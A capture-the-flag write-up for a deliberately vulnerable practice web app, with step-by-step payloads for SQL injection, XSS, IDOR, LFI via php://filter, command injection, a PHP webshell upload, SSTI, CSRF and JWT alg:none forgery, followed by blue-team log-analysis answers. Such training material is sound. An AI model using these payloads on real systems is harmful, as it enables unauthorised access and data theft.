🚩 CyberTech Solutions CTF — Full Writeup

Walkthrough

1. Open /challenge/login.php and View Source — a comment at the bottom reveals: <!-- Legacy login at login_legacy.php has known SQL injection issues -->. Also check /challenge/robots.txt — it lists Disallow: /login_legacy.php.
2. Navigate to /challenge/login_legacy.php.
3. In the Username field, enter: ' OR '1'='1 — in the Password field, enter anything.
4. Click Sign In — the query becomes SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'. Since '1'='1' is always true, it returns the first user (admin).
5. Click the Dashboard link — the flag is displayed on the page.

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'

Walkthrough

1. Visit /challenge/about.php and click any View Profile button. The URL changes to about.php?member=Robert%20Anderson — the name is reflected without sanitization.
2. Craft a URL with a script tag: /challenge/about.php?member=<script>alert('XSS')</script>
3. Open the URL — JavaScript executes and a hint appears: "🎉 XSS Detected!"
4. Open DevTools → Application → Cookies — find the xss_reward cookie.

Walkthrough

1. Visit /challenge/contact.php and scroll to Public Feedback.
2. Fill the contact form — Name: Attacker, Email: attacker@evil.com, Message: <script>alert('XSS')</script>
3. Click Send Message — the page reloads and your script executes from the stored message.
4. A hint card appears — open DevTools → Cookies → find stored_xss_reward.

Walkthrough

1. Log in as john:password123.
2. Visit the Contact page and click on any public message — the URL is view_message.php?id=2.
3. Change the id parameter to 1: /challenge/view_message.php?id=1
4. Message id=1 is a private admin message — there's no authorization check, so it renders anyway. The message body contains the flag.

Walkthrough

1. Check /challenge/robots.txt: Disallow: /config.php.bak
2. Navigate to /challenge/config.php.bak — since .bak isn't processed by PHP, the raw source is shown.
3. Inside you'll find hardcoded credentials and the flag.

// Secret flag for CTF
// CCEE{b4ckup_f1l3s_l34k_s3cr3ts}

Walkthrough

1. Log in and visit the dashboard.
2. Open DevTools → Network tab, refresh the page.
3. Click the dashboard.php request and check Response Headers — the flag is in a custom header: X-Custom-Flag: CCEE{h34d3r5_t3ll_s3cr3ts}

curl -I -b cookies.txt http:///challenge/dashboard.php
# X-Custom-Flag: CCEE{h34d3r5_t3ll_s3cr3ts}

Walkthrough

1. Log in as admin:admin123 (credentials from Challenge 5).
2. Navigate to /challenge/admin.php — notice sidebar links like ?file=admin_welcome.
3. Use a PHP stream wrapper to read the config source: /challenge/admin.php?file=php://filter/read=convert.base64-encode/resource=includes/config
4. A base64 string appears in the Console Output area. Decode it to reveal the flag.

echo "PD9waHAK..." | base64 -d
# Result: CCEE{c0nf1g_f1l3s_4r3_tr34sur3s}

Walkthrough

1. Log in and go to /challenge/tools.php (Network Tools).
2. Select Ping, enter: 127.0.0.1; whoami — output shows www-data, confirming injection.
3. Now enter: ; cat includes/cmd_flag.txt — the flag is printed.

; cat includes/cmd_flag.txt

Walkthrough

1. Log in as john:password123 and go to /challenge/shop.php. You start with $100. The CTF Flag item costs $1,000,000.
2. Find any item (e.g. "Standard Support" at $50). Set the quantity to -100000 and click Buy Now.
3. The server calculates: 50 × (-100000) = -5,000,000, then 100 - (-5,000,000) = 5,000,100. You now have $5,000,100.
4. Buy the CTF Flag item (quantity 1).

Walkthrough

1. Log in as john:password123 and inspect /challenge/profile.php — no CSRF tokens on any form.
2. Use the provided exploit page (auto-submitting form that changes the password to hacked123).
3. Go to /challenge/report.php and submit the exploit URL — the admin bot visits it and the hidden form fires.
4. Admin's password is now hacked123. Log in as admin / hacked123.
5. Visit /challenge/profile.php — the Admin Secrets section shows the flag.

Walkthrough

1. Create a PHP webshell: <?php system($_GET['cmd']); ?> and save as shell.php.
2. Go to /challenge/careers.php and submit an application, uploading shell.php as the resume.
3. Access the webshell: /challenge/uploads/shell.php?cmd=cat includes/upload_flag.txt

Walkthrough

1. Visit /challenge/newsletter.php — add ?mode=preview to access the hidden Template Editor.
2. Confirm code execution — enter: ${7*7} → it renders 49.
3. Enter: ${file_get_contents('includes/ssti_flag.txt')} — the flag is rendered.

${file_get_contents('includes/ssti_flag.txt')}

Walkthrough

1. Get a legitimate JWT by logging in via the API as guest:guest.
2. Decode the token — it uses HS256 algorithm.
3. Forge a new token with "alg":"none" and payload: {"user_id":1,"username":"admin","role":"admin"}
4. Base64url-encode both parts and assemble: <header>.<payload>. (empty signature, keep trailing dot).
5. Access the admin endpoint with the forged token.

echo -n '{"typ":"JWT","alg":"none"}' | base64 | tr '+/' '-_' | tr -d '='
echo -n '{"user_id":1,"username":"admin","role":"admin","iat":1234567890}' | base64 | tr '+/' '-_' | tr -d '='

Walkthrough

1. Log into the Blue Team dashboard.
2. Sort the log feed by Time (ascending).
3. Skip benign system messages (jk2_init(), workerEnv.init()).
4. The first ALERT entry is: Feb 08 00:01:52 firewall-02 waf: ALERT CMD injection detected

Walkthrough

1. Filter by SSH or search for Failed password for root.
2. Tally per IP: 112.95.230.3 → 15, 5.36.59.76 → 10, 173.234.31.186 → 10.

Walkthrough

1. Check the Attack Vectors chart or count ALERT entries by type.
2. XSS: 180, RCE: 177, SSTI: 168, CMD Injection: 164, SQLi: 156, LFI: 155.

Walkthrough

1. Filter by LFI — every alert shows: GET /vulnerable.php?page=../../../../etc/passwd
2. Target file: /etc/passwd → formatted as etc_passwd.

Walkthrough

1. Browse non-ALERT entries and count recurring patterns.
2. workerEnv.init() ok: 145 times, jk2_init() Found child: 115 times.
3. jk2_init() is Apache mod_jk (Tomcat connector) initialization — completely benign.

Walkthrough

1. Search for warning in the logs.
2. Find: warning: disk space low on /var/log appearing 26 times across multiple hosts.

Walkthrough

1. Search for POSSIBLE BREAK-IN ATTEMPT.
2. Find: reverse mapping checking getaddrinfo for ns.marryaldkfaczcz.com [173.234.31.186] failed
3. The random-looking domain is characteristic of a DGA (Domain Generation Algorithm).

Walkthrough

1. Correlate all log entries per SSH attacker IP.
2. 173.234.31.186: 50 entries, 112.95.230.3: 40, 218.188.2.4: 38.
3. 173.234.31.186 shows the most diverse activity: auth failures, invalid user attempts, DNS failures, break-in alerts.

Walkthrough

1. Filter by RCE — every alert follows: ALERT RCE Attempt: uname -a executed by www-data
2. www-data = web server process user. Web-level access, not root.

Walkthrough

1. Search for max retries — find: PAM service(sshd) ignoring max retries; 6 > 3
2. These entries come from SSH session 24227.
3. Correlate session 24227: Failed password for root from 5.36.59.76

Walkthrough

1. Search for Invalid user.
2. webmaster: 10 attempts (173.234.31.186), test9: 5 (52.80.34.196), chen: 5 (202.100.179.208).

Walkthrough

1. Search for cloud-related hostnames in SSH logs.
2. Find: rhost=ec2-52-80-34-196.cn-north-1.compute.amazonaws.com.cn
3. Prefix: ec2, Region: cn-north-1 (AWS China – Beijing).
4. Cross-reference IP 52.80.34.196: Invalid user test9.

Walkthrough

1. Sort ALERT entries by timestamp and track first occurrence:
2. 00:02:29 → LFI, 00:04:24 → SQLi, 00:07:10 → SSTI, 00:08:03 → XSS, 00:09:58 → RCE.
3. This mirrors a real attack lifecycle: recon → DB probing → code execution → client-side → full compromise.